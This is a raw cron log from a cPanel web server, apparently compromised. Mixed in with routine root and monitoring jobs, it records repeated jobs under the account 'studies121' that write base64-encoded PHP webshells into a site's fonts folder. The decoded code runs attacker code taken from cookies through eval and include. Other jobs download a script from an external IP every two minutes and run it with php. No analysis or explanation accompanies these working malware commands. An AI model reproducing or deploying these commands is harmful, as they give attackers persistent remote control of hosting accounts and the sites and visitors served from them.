Sep  1 00:10:01 ip-184-168-122-23 CROND[17011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:10:01 ip-184-168-122-23 CROND[17012]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:10:01 ip-184-168-122-23 CROND[17015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:10:01 ip-184-168-122-23 CROND[17014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:10:01 ip-184-168-122-23 CROND[17019]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:10:01 ip-184-168-122-23 CROND[17022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:10:01 ip-184-168-122-23 CROND[17020]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:11:01 ip-184-168-122-23 CROND[17143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:11:01 ip-184-168-122-23 CROND[17145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:11:01 ip-184-168-122-23 CROND[17147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:11:01 ip-184-168-122-23 CROND[17148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:12:01 ip-184-168-122-23 CROND[17224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:12:01 ip-184-168-122-23 CROND[17223]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:12:01 ip-184-168-122-23 CROND[17226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:12:01 ip-184-168-122-23 CROND[17228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:12:01 ip-184-168-122-23 CROND[17227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:13:01 ip-184-168-122-23 CROND[17396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:13:01 ip-184-168-122-23 CROND[17398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:13:01 ip-184-168-122-23 CROND[17400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:13:01 ip-184-168-122-23 CROND[17399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:14:01 ip-184-168-122-23 CROND[17492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:14:02 ip-184-168-122-23 CROND[17494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:14:02 ip-184-168-122-23 CROND[17496]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:14:02 ip-184-168-122-23 CROND[17495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:14:02 ip-184-168-122-23 CROND[17497]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:15:01 ip-184-168-122-23 CROND[17588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:15:01 ip-184-168-122-23 CROND[17590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:15:01 ip-184-168-122-23 CROND[17591]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:15:01 ip-184-168-122-23 CROND[17592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:15:01 ip-184-168-122-23 CROND[17593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:15:01 ip-184-168-122-23 CROND[17598]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 00:15:01 ip-184-168-122-23 CROND[17595]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:15:01 ip-184-168-122-23 CROND[17594]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  1 00:16:01 ip-184-168-122-23 CROND[17729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:16:01 ip-184-168-122-23 CROND[17731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:16:01 ip-184-168-122-23 CROND[17733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:16:01 ip-184-168-122-23 CROND[17735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:16:01 ip-184-168-122-23 CROND[17734]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 00:16:01 ip-184-168-122-23 CROND[17737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:17:01 ip-184-168-122-23 CROND[17827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:17:01 ip-184-168-122-23 CROND[17828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:17:01 ip-184-168-122-23 CROND[17826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:17:01 ip-184-168-122-23 CROND[17829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:18:01 ip-184-168-122-23 CROND[17905]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:18:02 ip-184-168-122-23 CROND[17906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:18:02 ip-184-168-122-23 CROND[17910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:18:02 ip-184-168-122-23 CROND[17912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:18:02 ip-184-168-122-23 CROND[17911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:19:01 ip-184-168-122-23 CROND[18078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:19:01 ip-184-168-122-23 CROND[18079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:19:01 ip-184-168-122-23 CROND[18081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:19:01 ip-184-168-122-23 CROND[18082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:20:01 ip-184-168-122-23 CROND[18166]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 00:20:01 ip-184-168-122-23 CROND[18169]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:20:01 ip-184-168-122-23 CROND[18171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:20:01 ip-184-168-122-23 CROND[18172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:20:01 ip-184-168-122-23 CROND[18176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:20:01 ip-184-168-122-23 CROND[18178]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 00:20:01 ip-184-168-122-23 CROND[18173]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:20:01 ip-184-168-122-23 CROND[18175]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:20:01 ip-184-168-122-23 CROND[18179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:21:01 ip-184-168-122-23 CROND[18264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:21:01 ip-184-168-122-23 CROND[18267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:21:01 ip-184-168-122-23 CROND[18266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:21:01 ip-184-168-122-23 CROND[18268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:22:01 ip-184-168-122-23 CROND[18346]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
